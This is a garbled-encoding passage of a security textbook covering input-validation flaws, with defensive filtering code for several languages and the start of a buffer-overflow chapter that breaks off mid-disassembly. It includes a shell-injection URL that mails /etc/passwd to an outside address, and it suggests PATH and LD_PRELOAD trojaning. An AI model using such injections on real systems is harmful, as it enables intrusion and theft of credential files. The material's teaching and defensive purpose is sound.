¡E Unexpected Input Black Box Testing The easiest place to start in finding unexpected data vulnerabilities would be with Web applications, due to their sheer number and availability. I always tend to take personal interest in HTML forms and URLs with parameters (parameters are the values after the ¡§?¡¨ in the URL). You should spot a Web application that features dynamic application pages with many parameters in the URL.To start, you can use an ultra-insightful tactic: Change some of the values.Yes, not difficult at all.To be really effective in finding potential problems, you can keep in mind a few tactics: Use intuition on what the application is doing. Is the application accepting e-commerce orders? If so, most likely it¡¦s interfacing with a database of some sort. Is it a feedback form? If it is, at some point it¡¦s probably going to call an external program or procedure to send an e-mail. You should run through the full interactive process from start to finish at least once. At each step, stop and save the current HTML supplied to you. Look in the form for hidden elements. Hidden inputs may contain information that you entered previously.A faulty application would take data from you in step one, sanitize it, and give it back to you hidden in preparation for step two.When you complete step two, it may assume that the data is already sanitized (previously from step one); therefore, you have an opportunity to change the data to ¡§undo¡¨ its filtering. Try to intentionally cause an error. Either leave a parameter blank, or insert as many ¡§bad¡¨ characters as you can (insert letters into what appear to be all-numeric values, and so on).The goal here is to see if the application alerts to an error. If so, you can use it as an oracle to determine what the application is filtering. If the application does indeed alert that invalid data was submitted, or it shows you the post-filtered data value, you should then work through the ASCII character set to determine what it does and does not accept for each individual data variable. For an application that does filter, it removes a certain set of characters that are indicative of what it does with the data. For instance, if the application removes or escapes single and/or double quotes, the data is most likely being used in a SQL query. If the common UNIX shell metacharacters are escaped, it may indicate that the data is being passed to another program. www.syngress.com Unexpected Input ¡E Chapter 7 223 Methodically work your way through each parameter, inserting first a single quote (¡¥ ![]() point in time the application doesn¡¦t correctly respond, it may mean that it is passing your values as-is to a SQL query. By supplying a quote (single or double), you are checking for the possibility of breaking-out of a data string in a SQL query. If the application responds with an error, try to determine if the error occurs because the application caught your invalid data (the quote), or if the error occurs because the SQL call failed (which it should, if there is a surplus quote that ¡§escapes¡¨ ![]() Try to determine the need and/or usefulness of each parameter. Long random-looking strings or numbers tend to be session keys.Try running through the data submission process a few times, entering the same data.Whatever changes is usually for tracking the session. How much of a change was it? Look to see if the string increases linearly. Some applications use the process ID (PID) as a ¡§random number;¡¨ a number that is lower than 65,536 and seems to increase positively may be based on the PID. Take into account the overall posture presented by the Web site and the application, and use that to hypothesize possible application aspects. A low-budget company using IIS on NT will probably be using a Microsoft Access database for their backend, whereas a large corporation handling lots of entries will use something more robust like Oracle. If the site uses canned generic CGI scripts downloaded from the numerous repositories on the Internet, most likely the application is not custom coded.You should attempt a search to see if they are using a premade application, and check to see if source is available. Keep an eye out for anything that looks like a filename. Filenames typically fall close to the ¡§8.3¡¨ format (which originated with CP/M, and was carried over into Microsoft DOS). Additions like ¡§.tmp¡¨ are good indications of filenames, as are values that consist only of letters, numbers, periods, and possibly slashes (forward slash or backslash, depending on the platform). Notice the following URL for swish-e (this stands for Simple Web Indexing System for Humans, Enhanced; a Webbased indexed search engine): search.cgi/?swishindex=%2Fusr%2Fbin%2Fswish%2Fdb.swish&keywords=key &maxresults=40 www.syngress.com 224 Chapter 7 ¡E Unexpected Input I hope you see the swishindex=/usr/bin/swish/swish.db parameter. Intuition is that swish-e reads in that file. In this case, we would start by supplying known files, and see if we can get swish-e to show them to us. Unfortunately, we cannot, because swish-e uses an internal header to indicate a valid swish database¡Xthis means that swish-e will not read anything except valid swish-e databases. However, a quick peek at the source code (swish-e is freely available) gives us something more interesting.To run the query, swish-e will take the parameters submitted (swishindex, keywords, and maxresults), and run a shell to execute the following: swish -f $swishindex -w $keywords -m $maxresults This is a no-no. Swish-e passes user data straight to the command interpreter as parameters to another application.This means that if any of the parameters contain shell metacharacters (which I¡¦m sure you could have guessed, swish-e does not filter), we can execute extra commands. Imagine sending the following URL: search.cgi/?swishindex=swish.db&maxresults=40 &keywords=`cat%20/etc/passwd|mail%20rfp@wiretrip.net` I should receive a mail with a copy of the passwd file.This puts swish-e in the same lame category as phf, which is exploitable by the same general means. Research and understand the technological limitations of the different types of Web servers, scripting/application languages, and database servers. For instance, Active Server Pages on IIS do not include a function to run shell commands or other command-line programs; therefore, there may be no need to try inserting the various UNIX metacharacters, because they do not apply in this type of situation. Look for anything that seems to look like an equation, formula, or actual snippets of programming code. This usually indicates that the submitted code is passed through an ¡§eval¡¨ function, which would allow you to substitute your own code, which could be executed. Put yourself in the coder¡¦s position: If you were underpaid, bored, and behind on deadline, how would you implement the application? Let¡¦s say you¡¦re looking at one of the new Top Level Domain (TLD) authorities (now that Network Solutions is not king).They typically www.syngress.com Unexpected Input ¡E Chapter 7 225 have ¡§whois¡¨ forms to determine if a domain is available, and if so, allow you to reserve it.When presented with the choice of implementing their own whois client complete with protocol interpreter versus just shelling out and using the standard UNIX whois application already available, I highly doubt a developer would think twice about going the easy route: Shell out and let the other application do the dirty work. Discovering Network and System Problems However, the world is not composed of merely Web applications. Here are a few tactics for network services: If the network service is using a published protocol (for example, established by a RFC), be sure to review the protocol and look for areas in which arbitrary-length strings or amounts of data are allowed.These are the types of places that may be vulnerable to buffer overflows. Anywhere a protocol spec states that a string must not be over a certain length is prime for a buffer overflow, because many programmers believe no one will violate that protocol rule. Try connecting to the service and sending large amounts of random data. Some applications do not properly handle nonprotocol data and crash, leading to a denial of service situation. Connect to the service and wait to see how long before the service times out and closes the connection on its own (do not send any data during this time). Some applications will wait forever, which could lead to a potential resource starvation should an attacker connect to multiple instances of the server.The problem is enhanced if the service can handle only a single user at a time (the entire service runs in a single instance), thus not being available to handle other incoming users. But of course the problems could be local on a system as well.When reviewing local suid/sgid utilities, do the following: Try sending large data amounts as command-line parameters. Many suid/sgid applications have been vulnerable to buffer overflows in this manner. Change the PATH environment variable to a local directory containing Trojaned copies of any external applications the target application may www.syngress.com 226 Chapter 7 ¡E Unexpected Input call.You can see if the target application calls any external programs by either disassembling the application or, even better, using the UNIX strings utility to look for names of external programs embedded in the target application binary. Some applications/systems allow alternate dynamic libraries to be speci- fied using the LD_PRELOAD environment variable. Pointing this value to a Trojaned library could get the library to execute with elevated privileges. Note that this is more of an OS problem, and not necessary the application¡¦s fault. Check to see if the application uses the getenv() function to read environment variable values. Applications are commonly vulnerable to buffer overflows (by putting lots of data in the environment variable) and file redirection attacks (by specifying alternate data or log files or directories). One way to see what environment variables an application might use is to use the UNIX strings utility on the application binary and look for names in all uppercase letters. Many applications typically have less-than-optimal configuration file parsing routines. If an application takes a configuration file from the user (or the configuration file is writable by the user), try to tamper with the file contents.The best bet is to try to trigger buffer overflows by setting different attribute values to very long strings. Use the Source Application auditing is much more efficient if you have the source code available for the application you wish to exploit.You can use techniques such as diffing (explained in Chapter 5) to find vulnerabilities/changes between versions; however, how do you find a situation where the application can be exploited by unexpected data? Essentially you would look for various calls to system functions and trace back where the data being given to the system function comes from. Does it, in any form, originate from user data? If so, it should be examined further to determine if it can be exploited.Tracing forward from the point of data input may lead you to dead ends¡Xstarting with system functions and tracing back will allow you to efficiently audit the application. Which functions you look for depends on the language you¡¦re looking at. Program execution (exec, system), file operations (open, fopen), and database www.syngress.com Unexpected Input ¡E Chapter 7 227 queries (SQL commands) are good places to look. Ideally, you should trace all incoming user data, and determine every place the data is used. From there, you can determine if user data does indeed find its way into doing something ¡§interesting.¡¨ Let¡¦s look at a sample application snippet: <% SQLquery="SELECT * FROM phonetable WHERE name='" & _ request.querystring("name") & "'" Set Conn = Server.CreateObject("ADODB.Connection") Conn.Open "DSN=websql;UID=webserver;PWD=w3bs3rv3r;DATABASE=data" Set rec = Server.CreateObject("ADODB.RecordSet") rec.ActiveConnection=Conn rec.Open SQLquery %> Here we see that the application performs a SQL query, inserting unfiltered input straight from the form submission.We can see that it would be trivial to escape out of the SQL query and append extra commands, because no filtering is done on the name parameter before inclusion. Untaint Data by Filtering It The best way to combat unexpected data is to filter the data to what is expected. Keeping in mind the principle of keeping it to a minimum, you should evaluate what characters are necessary for each item the user sends you. For example, a zip code should contain only numbers, and perhaps a dash (-) for the U.S. A. telephone number would contain numbers and a few formatting characters (parenthesis, dash). An address would require numbers and letters; a name would require only letters. Note that you can be forgiving and allow for formatting characters, but for every character you allow, you are increasing the potential risk. Letters and numbers tend to be generically safe; however, inserting extra SQL commands using only letters, numbers, and the space character is possible. It doesn¡¦t take much, so be paranoid in how you limit the incoming data. Escaping Characters Is Not Always Enough Looking through various CGI programming documentation, I¡¦m amazed at the amount of people who suggest escaping various shell characters.Why escape them if you don¡¦t need them? And, there are cases where escaping the characters isn¡¦t even enough. www.syngress.com 228 Chapter 7 ¡E Unexpected Input For instance, you can¡¦t escape a carriage return by slapping a backslash in front of it¡Xthe result is to still have the carriage return, and now the last character of the ¡§line¡¨ is the backslash (which actually has special meaning to UNIX command shells).The NULL character is similar (escaping a NULL leaves the backslash as the last character of the line). Perl treats the open function differently if the filename ends with a pipe (regardless of there being a backslash before it). Therefore, removing offending data, rather than merely trying to make it benign, is important. Considering that you do not always know how various characters will be treated, the safest solution is to remove the doubt. Of course, every language has its own way of filtering and removing characters from data.We look at a few popular languages to see how you would use their native functions to achieve this. Perl Perl¡¦s translation command with delete modifier (tr///d) works very well for removing characters.You can use the ¡§compliment¡¨ (tr///cd) modifier to remove the characters opposite the specified ones. Note that the translation command does not use regex notation. For example, to keep only numbers: $data =~ tr/0-9//cd The range is 0¡V9 (numbers), the ¡§c¡¨ modifier says to apply the translation to the compliment (in this case, anything that¡¦s not a number), and the ¡§d¡¨ modifier tells Perl to delete it (rather than replace it with another character). Although slower, Perl¡¦s substitution operator (s///) is more flexible, allowing you to use the full power of regex to craft specific patterns of characters in particular formats for removal. For our example, to keep only numbers: $data =~ s/[^0-9]//g The ¡§g¡¨ modifier tells Perl to continuously run the command over every character in the string. The DBI (Database Interface) module features a quote function that will escape all single quotes (¡¥ ![]() ![]() with single quotes¡Xmaking it safe and ready to be inserted into a SQL query: $clean = $db->quote($data) Note that the quote function will add the single quotes around the data, so you need to use a SQL query such as www.syngress.com Unexpected Input ¡E Chapter 7 229 SELECT * FROM table WHERE x=$data and not SELECT * FROM table WHERE x='$data' Cold Fusion/Cold Fusion Markup Language (CFML) You can use CFML¡¦s regex function to remove unwanted characters from data: REReplace(data, "regex pattern", "replace with", "ALL") The ¡§ALL¡¨ specifies the function to replace all occurrences. For example, to keep only numbers: REReplace(data, "[^0-9]", "", "ALL") Note that CFML has a regular replace function, which replaces only a single character or string with another (and not a group of characters).The replacelist function may be of slight use; if you want to replace known characters with other known characters: ReplaceList(data, "|,!,$", "X,Y,Z") This example would replace ¡§|!$¡¨ with ¡§XYZ¡¨, respectively. ASP Microsoft introduced a regex object into their newest scripting engine.You can use the new engine to perform a regex replacement like so: set reg = new RegExp reg.pattern = "[^a-zA-Z0-9]" data = reg.replace(data, "") You can also use the more generic variable replace function, but this requires you to craft the function to perform on the character. For instance, to keep only numbers, you should use: function ReplaceFunc(MatchedString) { return "";} var regex = /[^0-9]/g; data = data.replace(regex, ReplaceFunc); www.syngress.com 230 Chapter 7 ¡E Unexpected Input In this case, we need to supply a function (ReplaceFunc), which is called for every character that is matched by the regex supplied to replace. For older engine versions, the only equivalent is to step through the string character by character, and test to see if the character is acceptable (whether by checking if its ASCII value falls within a certain range, or stepping through a large logic block comparing it to character matches). Needless to say, the regex method was a welcomed introduction. PHP PHP includes a few functions useful for filtering unexpected data. For a custom character set, you can use PHP¡¦s replacement regex function: ereg_replace("regex string", "replace with", $data) So, to keep only numbers, you can run this: ereg_replace("[^0-9]", "", $data) (Remember, the ¡§[^0-9]¡¨ means to replace everything that¡¦s not a number with ¡§¡¨, which is an empty string, which essentially removes it). PHP has a generic function named quotemeta, which will escape a small set of metacharacters: $clean = quotemeta($data) However, the list of characters it escapes is hardly comprehensive (.\+?[^](*)$), so caution is advised if you use it. Another useful function for sanitizing data used in SQL queries is addslashes: $clean = addslashes($data) Addslashes will add a backslash before all single quotes (¡¥ ![]() backslashes (\), and NULL characters.This effectively makes it impossible for an attacker to ¡§break out¡¨ of your SQL query (see the following section). However, some databases (such as Sybase and Oracle) prefer to escape a single quote (¡¥ ![]() doubling it (¡¥¡¦ ![]() ![]() ereg_replace function to do this as follows: ereg_replace("'", "''", $data) www.syngress.com Unexpected Input ¡E Chapter 7 231 Protecting Your SQL Queries Even with all the scary stuff that attackers can do to your SQL queries, you don¡¦t need to be a victim. In fact, when you use SQL correctly, attackers have very little chance of taking advantage of your application. The common method used today is called quoting, which is essentially just making sure that submitted data is properly contained within a set of quotes, and that no renegade quotes are contained within the data itself. Many database interfaces (such as Perl¡¦s DBI) include various quoting functions; however, for the sake of understanding, let¡¦s look at a basic implementation of this procedure written in Perl. sub quotedata { my $incoming=shift; $incoming=~s/['"]/''/g; return "'$incoming'"; } Here we have the function taking the incoming data, replacing all occurrences of a single or double quote with two single quotes (which is an acceptable way to still include quotes within the data portion of your query; the other alternative would be to remove the quotes altogether, but that would result in the modification of the data stream).Then the data is placed within single quotes and returned.To use this within an application, your code would look similar to this: # ¡K incoming user data is placed in $data $quoted_data = quotedata($data); $sql_query = "SELECT * FROM table WHERE column = $quoted_data"; # ¡K execute your SQL query Because $data is properly quoted here, this query is acceptable to pass along to the database. However, just because you properly quote your data doesn¡¦t mean that you are always safe¡Xsome databases may interpret characters found within the data portion as commands. For instance,Microsoft¡¦s Jet engine prior to version 4.0 allowed for embedded VBA commands to be embedded within data (properly quoted or otherwise). www.syngress.com 232 Chapter 7 ¡E Unexpected Input Silently Removing versus Alerting on Bad Data When dealing with incoming user data, you have two choices: remove the bad characters, save the good characters, and continue processing on what¡¦s left over; or immediately stop and alert to invalid input. Each approach has pros and cons. An application that alerts the user that he submitted bad data allows the attacker to use the application as an ¡§oracle¡¨¡Xthe attacked can quickly determine which characters the application is looking for by submitting them one at a time and observing the results. I have personally found this technique to be very useful for determining vulnerabilities in custom applications where I do not have access to the source code. Silently filtering the data to include only safe characters yields some different problems. First, make no mistake, data is being changed.This can prove to be an issue if the integrity of the submitted data must be exact (such as with passwords¡X removing characters, even if systematically, can produce problems when the password needs to be retrieved and used).The application can still serve as an oracle if it prints the submitted data after it has been filtered (thus, the attacker can still see what is being removed in the query). The proper solution is really dependent on the particular application. I would recommend a combination of both approaches, depending on the type and integrity needed for each type of data submitted. Invalid Input Function Centralizing a common function to be used to report invalid data will make it easier for you to monitor unexpected data. Knowing if users are indeed trying to submit characters that your application filters is invaluable, and even more importantly, knowing when and how an attacker is trying to subvert your application logic.Therefore, I recommend a centralized function for use when reporting unexpected data violations. A central function is a convenient place to monitor your violations and put that information to good use.Minimally you should log the unexpected data, and determine why it was a violation and if it was a casual mistake (user entering a bad character) or a directed attack (attacker trying to take advantage of your application).You can collect this information and provide statistical analysis (¡§input profiling¡¨ ![]() expected to be received; therefore, tuning your filters with greater accuracy. www.syngress.com Unexpected Input ¡E Chapter 7 233 When first implementing an application, you should log character violations. After a period of time, you should determine if your filters should be adjusted according to previous violations.Then you can modify your violation function to perform another task, or simply return, without having to alter your whole application. The violation function gives you a centralized way to deal with data violations. You can even have the violation function print an invalid input alert and abort the application. Token Substitution Token substitution is the trick where you substitute a token (typically a large, random session key), which is used to correlate sensitive data.This way, rather than sending the sensitive data to the client to maintain state, you just send the token.The token serves as a reference to the correct sensitive data, and limits the potential of exploitation to just your application. Note, however, that if you use token values, they must be large and random; otherwise, an attacker could possibly guess another user¡¦s token, and therefore gain access to that user¡¦s private information.This is very similar to designing a good HTTP cookie. Utilizing the Available Safety Features in Your Programming Language Combating unexpected user data is not a new thing¡Xin fact, many programming languages and applications already have features that allow you to reduce or minimize the risks of tainted data vulnerabilities. Many of the features use the sandbox concept of keeping the tainted data quarantined until it is properly reviewed and cleaned. A few of the more popular language features follow. Perl Perl has a ¡§taint¡¨ mode, which is enabled with the ¡VT command-line switch. When running in taint mode, Perl will warn of situations where you directly pass user data into one of the following commands: bind, chdir, chmod, chown, chroot, connect, eval, exec, fcntl, glob, ioctl, kill, link, mkdir, require, rmdir, setpgrp, setpriority, socket, socketpair, symlink, syscall, system, truncate, umask, unlink, as well as the ¡Vs switch and backticks. Passing tainted data to a system function will result in Perl refusing to execute your script with the following message: Insecure dependency in system while running with -T switch at (script) line xx. www.syngress.com 234 Chapter 7 ¡E Unexpected Input To ¡§untaint¡¨ incoming user data, you must use Perl¡¦s matching regex (m///) to verify that the data matches your expectations.The following example verifies that the incoming user data is lowercase letters only: #!/usr/bin/perl -T # must setup a secure environment (system/OS dependant) $ENV{PATH}="/bin"; delete $ENV{ENV}; delete $ENV{BASH_ENV}; # this is tainted $echo=$ARGV[0]; # check to see if it's only lower-case letters if ($echo =~/^([a-z]+)$/) { # we resave the command... $echo=$1; # ...and use it in a system function system("/bin/echo $echo"); } else { print "Sorry, you gave unexpected data\n"; } The most important part of this code is the testing of the incoming data: If ($echo =~ /^([a-z]+)$/) { $echo = $1; This regex requires that the entire incoming string (the ^ and $ force this) have only lowercase letters ([a-z]), and at least one letter (the + after [a-z]). When untainting variables, you must be careful that you are indeed limiting the data. Note the following untaint code: if ($data =~ /^(.*)$/) { $data = $1; www.syngress.com Unexpected Input ¡E Chapter 7 235 This is wrong; the regex will match anything, therefore not limiting the incoming data¡Xin the end it serves only as a shortcut to bypass Perl¡¦s taint safety checks. PHP PHP includes a ¡§safe_mode¡¨ configuration option that limits the uses of PHP¡¦s system functions. Although it doesn¡¦t directly help you untaint incoming user data, it will serve as a safety net should an attacker find a way to bypass your taint checks. When safe mode is enabled, PHP limits the following functions to only be able to access files owned by the user ID (UID) of PHP (which is typically the UID of the Web server), or files in a directory owned by the PHP UID: include, readfile, fopen, file, link, unlink, symlink, rename, rmdir, chmod, chown, and chgrp. Further, PHP limits the use of exec, system, passthru, and popen to only be able to run applications contained in PHP_SAFE_MODE_EXEC_DIR directory (which is defined in php.h when PHP is compiled). Mysql_Connect is limited to only allow database connections as either the UID of the Web server or UID of the currently running script. Finally, PHP modifies how it handles HTTP-based authentication to prevent various spoofing tricks (which is more of a problem with systems that contain many virtually hosted Web sites). ColdFusion/ColdFusion Markup Language ColdFusion features integrated sandbox functionality in its Advanced Security configuration menu that you can use to limit the scope of system functions should an attacker find a way to bypass your application checks.You can define systemwide or user-specific policies and limit individual CFML tags in various ways. Examples of setting up policies and sandboxes are available at the following URLs: http://www.allaire.com/Handlers/inde...45&Method=Full http://www.allaire.com/Handlers/inde...85&Method=Full www.syngress.com 236 Chapter 7 ¡E Unexpected Input ASP Luckily,ASP (VBScript and JScript) does not contain many system-related functions to begin with. In fact, file-system functions are all that are available (by default). ASP does contain a configuration switch that disallows ¡§../¡¨ notation to be used in file-system functions, which limits the possibility of an attacker gaining access to a file not found under the root Web directory.To disable parent paths, you need to open up the Microsoft Management Console (configuration console for IIS), select the target Web site, go to Properties | Home Directory | Configuration | Application Options, and uncheck Enable Parent Paths, as shown in Figure 7.3. If you do not need file-system support in your ASP documents, you can remove it all together by unregistering the File System Object by running the following command at a console command prompt: regsvr32 scrrun.dll /u www.syngress.com Figure 7.3 Disabling Parent Paths Prevents an Attacker from Using ¡§..¡¨ Directory Notation to Gain Access to Files Not in Your Web Root Unexpected Input ¡E Chapter 7 237 MySQL The MySQL database contains the ability to read data in from or out to files during queries using the following syntax in a query: SELECT * INTO FILE "/file/to/save.db" FROM table You can limit this behavior by not granting ¡§file¡¨ permissions to any users in MySQL¡¦s built-in privilege table. Using Tools to Handle Unexpected Data Many tools out deal with unexpected data input. Some of these tools are helpful to programmers to fix their code, and others are helpful to attackers or consultants looking to find problems¡Xbecause there are so many, I will list only a few of the more popular ones to get you started. Web Sleuth Web Sleuth is a Windows tool that allows the user to modify and tamper with various aspects of HTTP requests and HTML forms.Written by Dave Zimmer, Web Sleuth actually uses Internet Explorer at its core, and then adds additional features. As of this writing, the recent version of Web Sleuth has become extensible via plug-ins.The currently available plug-ins include HTTP session brute force guessing,Web site crawling, and SQL injection/tampering testing.Web Sleuth is freely available from http://geocities.com/dizzie/sleuth. CGIAudit CGIAudit is an automated CGI black box tool, which takes a user-supplied HTML form definition and methodically tests each form element for common vulnerabilities, which include buffer overflows, metacharacter execution, and SQL tampering. It also includes a Web spider, and has proxy support. CGIAudit is written in C, and is available for download at www.innu.org/~super. RATS RATS, the Rough Auditing Tool for Security, is a source code review tool that understands C, C++, Python, Perl, and PHP. Basically RATS will review a program¡¦s source code and alert to any potentially dangerous situations, including static buffers or insecure functions. Although it doesn¡¦t find problems outright, it www.syngress.com 238 Chapter 7 ¡E Unexpected Input does help reduce the potential for security vulnerabilities. RATS is freely available in the projects section at www.securesw.com/rats. Flawfinder Flawfinder is a python script similar in function to RATS, except Flawfinder is limited to C code. Flawfinder¡¦s creator, David Wheeler, mentions that Flawfinder does recognize a few problem areas that RATS does not, but his eventual goal is to merge with RATS. Until then, you can get Flawfinder for free from www.dhwheeler.com/flawfinder. Retina eEye¡¦s Retina commercial vulnerability scanner also includes a feature that allows the user to scan for new vulnerabilities in software applications. It has what¡¦s called Common Hacking Attack Methods (CHAM), which has been dubbed an ¡§artificial intelligence.¡¨ Basically Retina¡¦s CHAM automates some of the tedious work of looking for buffer overflows and similar problems in network-accessible services. Retina is commercially available from www.eeye.com. Hailstorm Hailstorm is branded as a ¡§fault injection tool¡¨, and is similar to Retina¡¦s CHAM but with many more features. Hailstorm features a suite of tools and an internal scripting engine (based on Perl) that allows someone to create all kinds of anomaly tests to throw against an application. Hailstorm is practically unlimited in its potential to find bugs, but it does require a little know-how in the art of bug hunting. Hailstorm is commercially available from www.clicktosecure.com. Pudding Pudding is a HTTP proxy by Roelef Temmingh written in Perl. It adds various HTTP URL encoding tricks to any requests passing through it (which could originate from a user¡¦s Web browser or a Web assessment tool). One of the more popular encoding methods is UTF-8/Unicode encoding.The purpose of Pudding is to potentially bypass intrusion detection systems. Pudding is freely available from www.securityfocus.com/tools/1960. www.syngress.com Unexpected Input ¡E Chapter 7 239 Summary Security problems fundamentally are due to the fact that an attacker is doing something unexpected to the application to circumvent security restrictions, logic, and so on. A buffer overflow is sending more data than expected; an appended SQL query is sending extra SQL commands. Unfortunately, many applications are not even at the first stage: filtering out ¡§bad data.¡¨ Kudos for those that are; however, filtering data allows you to win some of the battles, but it does not give you an upper hand in the entire war.To realistically make an application robustly secure, the focus must be shifted from ¡§removing the bad¡¨ to ¡§keeping the good.¡¨Only then can your applications withstand volumes of bad, tainted, or otherwise unexpected data. Unexpected data can plague any application, from command-line programs to online Web CGIs.Areas such as authentication, data comparison, and SQL query formation tend to be vulnerable as well. In order to determine if an application is vulnerable, you can take a black-box approach of just trying (some would call it ¡§guessing¡¨ ![]() However, a more thorough approach is to have a code review, where the source code of the applications is scrutinized for problems. Fortunately, the battle against unexpected data is not one that you have to do on your own. Many of the common programming languages, such as Perl, CFML, and PHP, include features that are meant to help deal with tainted user data. Plus many tools are available that do everything from analyzing your source code for vulnerable areas to giving you a helping hand at black-boxing your application. In the end, one thing is for certain: Unexpected data is a serious problem, and programmers need to be weary of how to have their applications correctly handle situations where malicious data is received. Solutions Fast Track Understanding Why Unexpected Data Is Dangerous Almost all applications interact with the user, and thus take data from them. An application can¡¦t assume that the user is playing by the rules. www.syngress.com 240 Chapter 7 ¡E Unexpected Input The application has to be wary of buffer overflows, logic alteration, and the validity of data passed to system functions. Handling Situations Involving Unexpected Data Any application that interacts with a user or another (untrusted) application can result in unexpected data.These situations commonly involve the following: Local UNIX suid/sgid applications Hypertext Transfer Protocol (HTTP) servers and other Web-based application technologies SQL queries Application authentication Data disguise (anti-intrusion detection system [IDS] approaches) Techniques to Find and Eliminate Vulnerabilities Black-boxing and source code reviews can reveal distinct vulnerabilities, and they are the main avenues for finding potential problems. You can combat unexpected data with proper filtering and escaping of characters. Many languages (such as Perl, CFML,ASP, PHP, and even SQL APIs) provide mechanisms to do this. A few programming tricks, such as token substitution, centralized filtering functions, and the silent removal of bad data are more ways to help combat unexpected data. Utilizing the Available Safety Features in Your Programming Language Many languages provide extra features that could help an application better secure itself against unexpected data. Configuration options such as Perl¡¦s taint mode, PHP¡¦s safe mode, and CFML¡¦s application security sandboxes can keep unexpected data from doing bad things. www.syngress.com Unexpected Input ¡E Chapter 7 241 Server configurations, such as IIS¡¦s ¡§disable parent paths¡¨ option, can keep your applications from accessing files outside the Web files directory. Using MySQL¡¦s various user/query permissions can keep queries from performing functions they normally shouldn¡¦t be allowed to do (like accessing files). Using Tools to Handle Unexpected Data Web Sleuth is used to interact and exploit Web applications, by providing various tools capable of bending and breaking the HTTP protocol. CGIAudit attempts to exploit some of the more common Common Gateway Interface (CGI) problems automatically. RATS and Flawfinder review source code, looking for potential problem areas. Retina and Hailstorm are commercial tools used to methodically probe and poke at a network application to identify problems and their exploitability. The Pudding proxy disguises HTTP requests using various forms of URL encoding, including overlong Unicode/UTF-8. www.syngress.com 242 Chapter 7 ¡E Unexpected Input Q: Exactly which data should I filter, and which is safe to not worry about? A: All incoming data should be filtered. No exceptions. Do not assume that any incoming data is safe. Realistically, the small amount of code and processing time required to filter incoming data is so trivial that it¡¦s silly if you don¡¦t filter the data. Q: Which language is the safest? A: There is no right answer to this question. Although Perl and PHP have the nice built-in feature of auto-allocating memory to accommodate any quantity of incoming data, they are limited in scalability because they are interpreted. C/C++ requires you to take additional steps for security, but it compiles to executable code, which tends to be faster and more scalable.What you decide should be based on the required needs of the application, as well as the skills of the developers working on it. Q: Where can I find more information on how to audit the source code of an application? A: The Syngress book Hack Proofing Your Web Applications contains many hints, tips, tricks, and guidelines for reviewing your application for problems. |
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![]() Chapter 8 ¡E Buffer Overflow
Introduction Buffer overflows make up one of the largest collections of vulnerabilities in existence; And a large percentage of possible remote exploits are of the overflow variety. If executed properly, an overflow vulnerability will allow an attacker to run arbitrary code on the victim¡¦s machine with the equivalent rights of whichever process was overflowed.This is often used to provide a remote shell onto the victim machine, which can be used for further exploitation. A buffer overflow is an unexpected behavior that exists in certain programming languages. In this chapter, we explain in detail why these problems exist, how to spot when an overflow vulnerability is present, and how to write an exploit to take advantage of it. This chapter is split into two parts; a beginner¡¦s section and an advanced section. If you¡¦ve seen buffer overflows before and you understand how they work, then you can probably skip the beginner¡¦s section. However, we recommend that all readers have a look at the advanced section. Some of these advanced techniques have come into use in the wild, appearing in the Code Red worm, for example. Understanding the Stack Stacks are an abstract data type known as last in, first out (LIFO).They operate much like a stack of lunch trays in an average cafeteria. For example, if you put a tray down on top of the stack, it will be the first tray someone else will pick up. Stacks are implemented using processor internals designed to facilitate their use (such as the ESP and EBP registers). NOTE All examples here are compiled using VC++ 6 SP5 on Windows 2000 (msdn.microsoft.com) unless otherwise specified. For compiled code, we are using Release builds with all optimizations turned off to make things cleaner and more simple. Disassemblies are done using IDA pro 4.18 (www.datarescue.com). All code assumes you are using a standard x86 chipset. www.syngress.com www.syngress.com The stack is a mechanism that computers use both to pass arguments to functions and to reference local function variables. Its purpose is to give programmers an easy way to access local data in a specific function, and to pass information from the function¡¦s caller. Basically it acts like a buffer, holding all of the information that the function needs.The stack is created at the beginning of a function and released at the end of it. Stacks are typically static, meaning that once they are set up in the beginning of a function, they really don¡¦t change ¡X the data held in the stack may change, but the stack itself typically does not. Stacks on Intel x86 processors are considered to be inverted.This means that lower memory addresses are considered to be on the ¡§top¡¨ of the stack; push operations move the stack pointer lower, while pop operations move it higher.This means that new data tends to be at lower memory addresses than old data.This fact is part of the reason that buffer overflows can happen; as overwriting a buffer from a lower address to a higher address means that you can overwrite what should be in the higher addresses, like a saved Extended Instruction Pointer (EIP). Buffer Overflow ¡E Chapter 8 245 Understanding Assembly Language There are a few specific pieces of assembly language knowledge that are necessary to understand the stack. One thing that is required is to understand the normal usage of registers in a stack. Typically, there are three pertinent registers to a stack. EIP The extended instruction pointer. This points to the code that you are currently executing. When you call a function, this gets saved on the stack for later use. ESP The extended stack pointer. This points to the current position on the stack and allows things to be added and removed from the stack using push and pop operations or direct stack pointer manipulations. EBP The extended base pointer. This register should stay the same throughout the lifetime of the function. It serves as a static point for referencing stack-based information like variables and data in a function using offsets. This almost always points to the top of the stack for a function. Damage & Defense¡K 246 Chapter 8 ¡E Buffer Overflow In the next few sections, we will examine how local variables are put on the stack, then examine the use of the stack to pass arguments through to a function, and finally, we¡¦ll look at how all of this adds up to allow an overflowed buffer to take control of the machine and execute an attacker¡¦s code. Most compilers insert what is known as a prologue at the beginning of a function. In the prologue, the stack is set up for use by the function.This often involves saving the EBP and setting EBP to point to the current stack pointer.This is done so that the EBP now contains a pointer to the top of our stack.The EBP register is then used to reference stack-based variables using offsets from the EBP. Our first example is a simple program with a few local variables assigned to it. We have attempted to comment profusely to make things clearer within the code. The Code This is a very simple program that does nothing but assign some values to some variables (Figure 8.1). Figure 8.1 How the Stack Operates /* chapter 1 sample 1 This is a very simple program to explain how the stack operates */ #include <stdlib.h> #include <stdio.h> int main(int argc, char **argv) { char buffer[15]="Hello World"; /* a 15 byte character buffer */ int int1=1,int2=2; /* 2 4 byte integers */ return 1; } The code in Figure 8.1 is very straightforward. It basically creates three stack variables: A 15-byte character buffer and two integer variables. It then assigns values to these variables as part of the function initialization. Finally, it returns a value of 1.The usefulness of such a simple program is apparent in examining how our compiler took the C code and created the function and stack from it.We will www.syngress.com Buffer Overflow ¡E Chapter 8 247 now examine the disassembly of the code to better understand what the compiler did to create this. For our disassembly, it was compiled as a Windows Console application, in Release mode. Disassembly This disassembly (Figure 8.2) shows how the compiler decided to implement the relatively simple task of assigning a series of stack variables and initializing them. Figure 8.2 Simple C Disassembly _main proc near buffer = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_A = byte ptr -0Ah int2 = dword ptr -8 int1 = dword ptr -4 ;function prologue push EBP mov EBP, ESP sub ESP, 18h ;set up preinititalized data in buffer mov EAX, dword_407030 mov [EBP+buffer], EAX mov ECX, dword_407034 mov [EBP+var_14], ECX mov EDX, 